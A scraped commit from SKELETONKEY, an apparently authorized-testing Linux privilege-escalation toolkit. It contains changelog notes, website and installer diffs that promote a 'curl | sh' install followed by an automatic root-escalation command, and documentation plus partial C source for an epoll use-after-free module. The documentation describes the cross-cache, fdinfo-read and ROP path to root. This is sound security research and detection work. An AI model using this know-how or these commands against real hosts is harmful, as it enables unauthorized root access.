- `</dev/null` redirect so sudo cannot fall back to reading the tty
even if the PAM stack tries
Belt-and-suspenders. `--auto` is now guaranteed never to block on
tty input.
---
## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
check (`kernel_range drift`) that had been hidden behind it. That
check compares each module's `kernel_patched_from` table against
Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
findings across 12 modules** — meaning `detect()` would have
reported VULNERABLE on many kernels that Debian has on record as
patched (false-positives), or missed branches entirely.
Applied `tools/refresh-kernel-ranges.py --patch` recommendations
across:
- `cgroup_release_agent``{5,16,9}``{5,16,7}`
- `cls_route4``{5,10,143}``{5,10,136}`, `{5,18,18}``{5,18,16}`
- `dirty_cow``{4,7,10}``{4,7,8}`
- `dirty_pipe``{5,10,102}``{5,10,92}`
- `fragnesia``{6,12,91}``{6,12,90}`, `{7,0,10}``{7,0,9}`
(the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
- `mutagen_astronomy` — added `{4,12,6}` backport entry
- `netfilter_xtcompat``{5,10,46}``{5,10,38}`
- `overlayfs_setuid``{6,1,27}``{6,1,11}`
- `pintheft` — added `{6,12,90}` Debian-trixie entry
- `ptrace_traceme``{4,19,58}``{4,19,37}`
- `sequoia``{5,10,52}``{5,10,46}`
- `tioscpgrp` — added `{5,9,15}` backport entry
All changes are correctness-improving (no kernel that was previously
flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
stop false-positiving on kernels that Debian has on record as patched).
Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
MISSING.
Also enabled `workflow_dispatch` on the build workflow so the
drift-check job can be manually triggered without waiting for the
weekly Monday-06:00-UTC cron.
---
## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs ## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
Quality-of-life follow-ups from the v0.9.3 review: Quality-of-life follow-ups from the v0.9.3 review:
+1 -1
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@@ -10,7 +10,7 @@
* 1. typed install command in the hero * 1. typed install command in the hero
* ============================================================ */ * ============================================================ */
const installCmd = const installCmd =
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && skeletonkey --auto --i-know'; 'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
const typedEl = document.getElementById('install-typed'); const typedEl = document.getElementById('install-typed');
const cursorEl = document.getElementById('install-cursor'); const cursorEl = document.getElementById('install-cursor');
+23 -17
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@@ -4,16 +4,16 @@
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title> <title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings."> <meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified"> <meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated."> <meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:type" content="website"> <meta property="og:type" content="website">
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/"> <meta property="og:url" content="https://skeletonkey.netslum.io/">
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png"> <meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
<meta property="og:image:width" content="1200"> <meta property="og:image:width" content="1200">
<meta property="og:image:height" content="630"> <meta property="og:image:height" content="630">
<meta name="twitter:card" content="summary_large_image"> <meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png"> <meta name="twitter:image" content="https://skeletonkey.netslum.io/og.png?v=2">
<meta name="theme-color" content="#0a0a14"> <meta name="theme-color" content="#0a0a14">
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
@@ -56,14 +56,14 @@
<div class="container hero-inner"> <div class="container hero-inner">
<div class="hero-eyebrow"> <div class="hero-eyebrow">
<span class="dot dot-pulse"></span> <span class="dot dot-pulse"></span>
v0.9.4 — released 2026-05-28 v0.9.11 — released 2026-06-08
</div> </div>
<h1 class="hero-title"> <h1 class="hero-title">
<span class="display-wordmark">SKELETONKEY</span> <span class="display-wordmark">SKELETONKEY</span>
</h1> </h1>
<p class="hero-tag"> <p class="hero-tag">
One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs — One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against <strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
real Linux kernels in VMs. SOC-ready detection rules in four SIEM real Linux kernels in VMs. SOC-ready detection rules in four SIEM
formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated. formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span> <span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
@@ -81,9 +81,9 @@
</div> </div>
<div class="stats-row" id="stats-row"> <div class="stats-row" id="stats-row">
<div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div> <div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div> <div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div> <div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div> <div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
</div> </div>
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
<div class="bento-icon"></div> <div class="bento-icon"></div>
<h3>CISA KEV prioritized</h3> <h3>CISA KEV prioritized</h3>
<p> <p>
12 of 34 CVEs in the corpus are in CISA's Known Exploited 13 of 40 CVEs in the corpus are in CISA's Known Exploited
Vulnerabilities catalog — actively exploited in the wild. Vulnerabilities catalog — actively exploited in the wild.
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>. Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
</p> </p>
@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)</pre>
<article class="bento-card bento-vfy"> <article class="bento-card bento-vfy">
<div class="bento-icon"></div> <div class="bento-icon"></div>
<h3>22 modules empirically verified</h3> <h3>28 modules empirically verified</h3>
<p> <p>
<code>tools/verify-vm/</code> spins up known-vulnerable <code>tools/verify-vm/</code> spins up known-vulnerable
kernels (stock distro + mainline from kernel.ubuntu.com), runs kernels (stock distro + mainline from kernel.ubuntu.com), runs
<code>--explain --active</code> per module, and records the <code>--explain --active</code> per module, and records the
verdict. <strong>28 of 34 CVEs</strong> confirmed against verdict. <strong>28 of 40 CVEs</strong> confirmed against
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
<code>--list</code> shows ✓ per module. <code>--list</code> shows ✓ per module.
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
<div class="container"> <div class="container">
<div class="section-head"> <div class="section-head">
<span class="section-tag">corpus</span> <span class="section-tag">corpus</span>
<h2>34 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2> <h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
</div> </div>
<h3 class="corpus-h" data-color="green"> <h3 class="corpus-h" data-color="green">
@@ -331,6 +331,7 @@ uid=0(root) gid=0(root)</pre>
<span class="pill green">cgroup_release_agent</span> <span class="pill green">cgroup_release_agent</span>
<span class="pill green kev">★ ptrace_traceme</span> <span class="pill green kev">★ ptrace_traceme</span>
<span class="pill green">sudoedit_editor</span> <span class="pill green">sudoedit_editor</span>
<span class="pill green">sudo_host</span>
<span class="pill green">entrybleed</span> <span class="pill green">entrybleed</span>
</div> </div>
@@ -354,6 +355,11 @@ uid=0(root) gid=0(root)</pre>
<span class="pill yellow kev">★ sudo_samedit</span> <span class="pill yellow kev">★ sudo_samedit</span>
<span class="pill yellow">sequoia</span> <span class="pill yellow">sequoia</span>
<span class="pill yellow">vmwgfx</span> <span class="pill yellow">vmwgfx</span>
<span class="pill yellow">ptrace_pidfd</span>
<span class="pill yellow">cifswitch</span>
<span class="pill yellow">nft_catchall</span>
<span class="pill yellow">bad_epoll</span>
<span class="pill yellow">ghostlock</span>
</div> </div>
<p class="corpus-foot"> <p class="corpus-foot">
@@ -414,7 +420,7 @@ uid=0(root) gid=0(root)</pre>
<div class="audience-icon">🎓</div> <div class="audience-icon">🎓</div>
<h3>Researchers / CTF</h3> <h3>Researchers / CTF</h3>
<p> <p>
34 CVEs, 10-year span, each with the original PoC author 40 CVEs, 10-year span, each with the original PoC author
credited and the kernel-range citation auditable. credited and the kernel-range citation auditable.
<code>--explain</code> shows the reasoning chain; detection <code>--explain</code> shows the reasoning chain; detection
rules let you practice both sides. Source is the documentation. rules let you practice both sides. Source is the documentation.
@@ -511,7 +517,7 @@ uid=0(root) gid=0(root)</pre>
<div class="tl-col tl-shipped"> <div class="tl-col tl-shipped">
<div class="tl-tag">shipped</div> <div class="tl-tag">shipped</div>
<ul> <ul>
<li><strong>28 of 34 CVEs empirically verified</strong> in real Linux VMs</li> <li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li> <li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
<li>Per-module <code>verified_on[]</code> table baked into the binary</li> <li>Per-module <code>verified_on[]</code> table baked into the binary</li>
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li> <li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
@@ -598,7 +604,7 @@ uid=0(root) gid=0(root)</pre>
who found the bugs. who found the bugs.
</p> </p>
<p class="footer-meta"> <p class="footer-meta">
v0.9.4 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a> v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
</p> </p>
</div> </div>
</footer> </footer>
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<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end"> <text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
karazajac.github.io/SKELETONKEY skeletonkey.netslum.io
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@@ -28,7 +28,11 @@ set -eu
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}" REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
VERSION="${SKELETONKEY_VERSION:-latest}" VERSION="${SKELETONKEY_VERSION:-latest}"
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}" # PREFIX resolution is deferred until install time so we can pick a
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
# definition the operator does NOT have root yet, so the installer must
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
PREFIX="${SKELETONKEY_PREFIX:-}"
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; } log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; } ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -108,29 +112,49 @@ fi
chmod +x "$tmp/skeletonkey" chmod +x "$tmp/skeletonkey"
# Install. Try $PREFIX directly; if not writable, sudo. # Choose install dir — NEVER escalate to sudo. If the user pinned
target_path="$PREFIX/skeletonkey" # SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then # error rather than escalate when it isn't writable. Otherwise prefer
mv "$tmp/skeletonkey" "$target_path" # /usr/local/bin only when it happens to already be writable, and fall
elif command -v sudo >/dev/null 2>&1; then # back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
log "$PREFIX needs sudo; you may be prompted for password" # privileges. This keeps `curl ... | sh` password-free for the exact
sudo mv "$tmp/skeletonkey" "$target_path" # users this tool is meant for: unprivileged accounts.
if [ -n "$PREFIX" ]; then
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
elif [ -w /usr/local/bin ]; then
PREFIX=/usr/local/bin
else else
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin" PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
fi fi
target_path="$PREFIX/skeletonkey"
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
ok "installed: $target_path" ok "installed: $target_path"
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
# the user how to invoke it rather than letting `skeletonkey` 404.
case ":$PATH:" in
*":$PREFIX:"*) : ;;
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
esac
"$target_path" --version "$target_path" --version
cat >&2 <<EOF cat >&2 <<EOF
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md [\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
Quickstart: Quickstart (no root required — gaining it is the point):
sudo skeletonkey --scan # what's this box vulnerable to? skeletonkey --scan # what's this box vulnerable to?
sudo skeletonkey --audit # broader system hygiene skeletonkey --audit # broader system hygiene
sudo skeletonkey --detect-rules --format=auditd \\ skeletonkey --auto --i-know # run the safest available LPE
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
Deploy detection rules (defensive; only the write to /etc/audit needs root):
skeletonkey --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
See \`skeletonkey --help\` for all commands. See \`skeletonkey --help\` for all commands.
EOF EOF
+106
View File
@@ -0,0 +1,106 @@
# bad_epoll — CVE-2026-46242
"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
No user namespace, no capability, no special `CONFIG``epoll_create1(2)`,
`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
makes this bug unusually dangerous.
## The bug
On the file-teardown path, `ep_remove()` clears `file->f_ep` under
`file->f_lock` but keeps **using** the file inside the same critical
section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
file can observe the transient `NULL` `f_ep`, skip
`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
a `struct eventpoll` that the first path is still walking →
**use-after-free** on a live kernel object.
The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
arranges four epoll objects in two pairs — one pair drives the race, the
other is the victim — and converts the 8-byte UAF write into control of a
`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
page is drained to the buddy allocator and reclaimed as pipe backing
buffers). From there it reads arbitrary kernel memory through
`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
despite a race window only ~6 instructions wide; the racer widens it with
`close(dup())` storms that induce false-sharing on the file's `f_count`
cache line. It **rarely trips KASAN**, which is why the bug survived three
years and why it is hard to detect at runtime.
## Affected range
| | |
|---|---|
| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
| CISA KEV | no (brand new) |
Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
## Trigger / detection
`detect()` is a **pure version gate** — no active probe, because there is
no cheap, safe way to distinguish a vulnerable kernel from a patched one
without actually winning the race (the dangerous part). It returns `OK`
below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
namespace, so there is no unprivileged-userns stopgap to report or to
harden with.
`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
waiter eventpoll watching a target eventpoll) and exercises the
`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
of times (48 attempts / 2 s), widening it with `close(dup())`
false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
returns `EXPLOIT_FAIL`.
It is **deliberately under-driven**. A *won* race frees a live
`struct eventpoll` — genuine kernel memory corruption that rarely trips
KASAN, so on a vulnerable production host a completed race can silently
destabilise the box rather than cleanly oops. This module therefore does
**not** grind the race to a win, does **not** perform the cross-cache
reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
ROP that lands root (per-build offsets refused). The trigger is
**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
never claims root it did not get.
Because a kernel race is the least predictable class in the corpus — and
this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
`--auto` only ever reaches for it after every safer vulnerable module.
## Detection is hard — read this before shipping the rules
Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
nginx, systemd, and every language runtime's event loop; the exploit
looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
rules therefore key on the **post-exploitation** tell — an unprivileged
process transitioning to euid 0 without a setuid `execve` — plus a
recommendation to monitor kernel logs for oops/BUG lines. Expect false
positives from legitimate privilege-management daemons and tune per
environment. There is no yara rule (no file artifact). Treat this module
as much as a *blue-team teaching case* — "here is a root LPE your existing
stack is nearly blind to" — as an offensive one.
## Fix / mitigation
Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
mitigation**: epoll cannot be disabled in practice, and no
`unprivileged_userns_clone` / sysctl toggle closes this path the way it
does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
## Credit
Discovery, exploitation, and the public kernelCTF PoC:
**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
`NOTICE.md`.
@@ -0,0 +1,70 @@
# NOTICE — bad_epoll (CVE-2026-46242)
## Vulnerability
**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
to use the file inside the critical section (`hlist_del_rcu()` over the
eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
linked epoll file observes the transient `NULL` `f_ep`, skips
`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
`struct eventpoll` still in use → UAF.
The bug is reachable by **any unprivileged local user**`epoll_create1`,
`epoll_ctl`, and `close` require no capability, no user namespace, and no
special kernel config. Exploitation converts the 8-byte UAF write into
control of a `struct file` via a cross-cache attack, gains arbitrary
kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
roughly 99% reliable despite a ~6-instruction race window. It also affects
Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
root cause. **Not** in CISA KEV (brand new).
## Research credit
- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
(GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
kernelCTF submission under
`J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
`lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
close-race shape only — no offsets or ROP are reused).
- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
- **Fixed upstream** by commit
`a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
(2026-04-24); stable backport **7.0.13**.
- Debian security tracker (authoritative backport versions):
<https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
`7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
code not present".
All credit for finding, analysing, and exploiting this bug belongs to
Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
the corpus's first epoll / VFS-file-teardown module and its cleanest
example of an SMP kernel race, shipped on the same "fire the bug class and
stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
(CVE-2026-23111).
`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
affected) — no userns or CONFIG precondition, because none is required.
`exploit()` forks a CPU-pinned child that builds the epoll race pair and
exercises the `ep_remove`-vs-`__fput` concurrent-close window a
hard-bounded number of times (48 attempts / 2 s), widening it with
`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
returns `EXPLOIT_FAIL`.
It is **deliberately under-driven**: a won race frees a live
`struct eventpoll` (real corruption that rarely trips KASAN), so the module
does not grind the race to a win, does not perform the cross-cache reclaim,
and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
(per-build offsets refused). The trigger is reconstructed from the public
kernelCTF PoC, not VM-verified — it never claims root it did not get. It
carries the lowest `--auto` safety rank in the corpus.
@@ -0,0 +1,434 @@
/*
* bad_epoll_cve_2026_46242 SKELETONKEY module
*
* CVE-2026-46242 "Bad Epoll", a race-condition use-after-free in the
* Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
* path, ep_remove() clears file->f_ep under file->f_lock but keeps
* *using* the file inside the critical section (the hlist_del_rcu() over
* the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
* linked epoll file can observe the transient NULL f_ep, skip
* eventpoll_release_file(), and go straight to f_op->release freeing a
* struct eventpoll that the first path is still walking. The result is a
* UAF on a live kernel object reachable by ANY unprivileged local user:
* epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
* namespace, and no special CONFIG (epoll is always built in). That is
* what makes it nasty there is no unprivileged-userns stopgap to close
* the way there is for the netfilter bugs; the only fix is to patch.
*
* Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
* to Google's kernelCTF: four epoll objects in two pairs one pair
* drives the race, the other is the victim turn the 8-byte UAF write
* into control of a struct file via a cross-cache attack, then arbitrary
* kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
* ~99% reliable despite a race window only ~6 instructions wide; it
* rarely trips KASAN, which is precisely why the bug hid for three
* years.
*
* CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
* 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
* a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
* 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
*
* STATUS: 🟡 TRIGGER (reconstructed) primitive-only, NOT VM-verified.
* This is a genuine SMP kernel race that, if *won*, frees a live
* struct eventpoll real memory corruption that (per the public
* analysis) rarely trips KASAN, so a won-but-not-completed race can
* silently destabilise a vulnerable host rather than cleanly oops.
* For that reason this module is deliberately UNDER-DRIVEN: exploit()
* builds the epoll object graph and exercises the concurrent-close
* window (ep_remove vs __fput) a small, bounded number of times inside
* a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
* does NOT grind the race to a win, does NOT perform the cross-cache
* reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
* ROP that lands root (per-build offsets refused). It returns
* EXPLOIT_FAIL and never claims root it did not get. The trigger is
* reconstructed from the public kernelCTF PoC, not VM-verified. This
* is why it carries the lowest safety rank in --auto (a kernel race is
* the least predictable class; see skeletonkey.c module_safety_rank).
*
* detect() is a pure version gate: vulnerable iff the running kernel is
* >= 6.4 (the commit that introduced the bug) AND below the fix on its
* branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
* vulnerable code not present"; trixie/6.12 still vulnerable at time of
* writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
* precondition any unprivileged user can reach it.
*
* Affected range (Debian security tracker, source of record):
* introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
* (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
* not landed at time of writing version-only VULNERABLE there
* (tools/refresh-kernel-ranges.py will extend the table as distros
* publish). 6.1 and older predate the bug.
*
* arch_support: x86_64 (the cross-cache groom + any future finisher are
* x86_64-tuned; detect() and the reachability trigger are arch-neutral
* but we only claim x86_64 for exploit()).
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/epoll.h>
/* ------------------------------------------------------------------
* Kernel-range table. The fix landed mainline in 7.1-rc1
* (a6dc643c6931); the only stable backport that had shipped at time of
* writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
* {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
* kernel_range_is_patched() treats any branch strictly newer than every
* entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
* below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
* vulnerable which is exactly the Debian tracker's verdict. Add
* 6.6.x / 6.12.x entries here when those LTS backports land (the drift
* checker flags them). security-tracker.debian.org is the source.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from bad_epoll_patched_branches[] = {
{7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
};
static const struct kernel_range bad_epoll_range = {
.patched_from = bad_epoll_patched_branches,
.n_patched_from = sizeof(bad_epoll_patched_branches) /
sizeof(bad_epoll_patched_branches[0]),
};
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The vulnerable ep_remove()/__fput() interleaving was introduced by
* commit 58c9b016e128 in 6.4. Below that the code pattern is absent
* (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
* vulnerable code not present"). */
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
"epoll teardown path (introduced 6.4) — not affected\n",
v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&bad_epoll_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
"7.1+ inherits the mainline fix)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
"[6.4, fix); epoll teardown race reachable by any "
"unprivileged user (no userns / CONFIG gate)\n",
v->release);
fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
"here — the only fix is to patch the kernel\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* Reconstructed reachability trigger (deliberately under-driven).
*
* Faithful minimal shape of the public PoC's race pair: a "waiter"
* epoll watches a "target" epoll; the two are then closed concurrently
* from CPU-pinned contexts so ep_remove() (driven by fput of the
* watched target) races __fput() of the waiter eventpoll. The PoC
* widens the ~6-instruction window with close(dup(target)) storms that
* induce false-sharing on the file's f_count cache line and stall the
* racer's read of f_op.
*
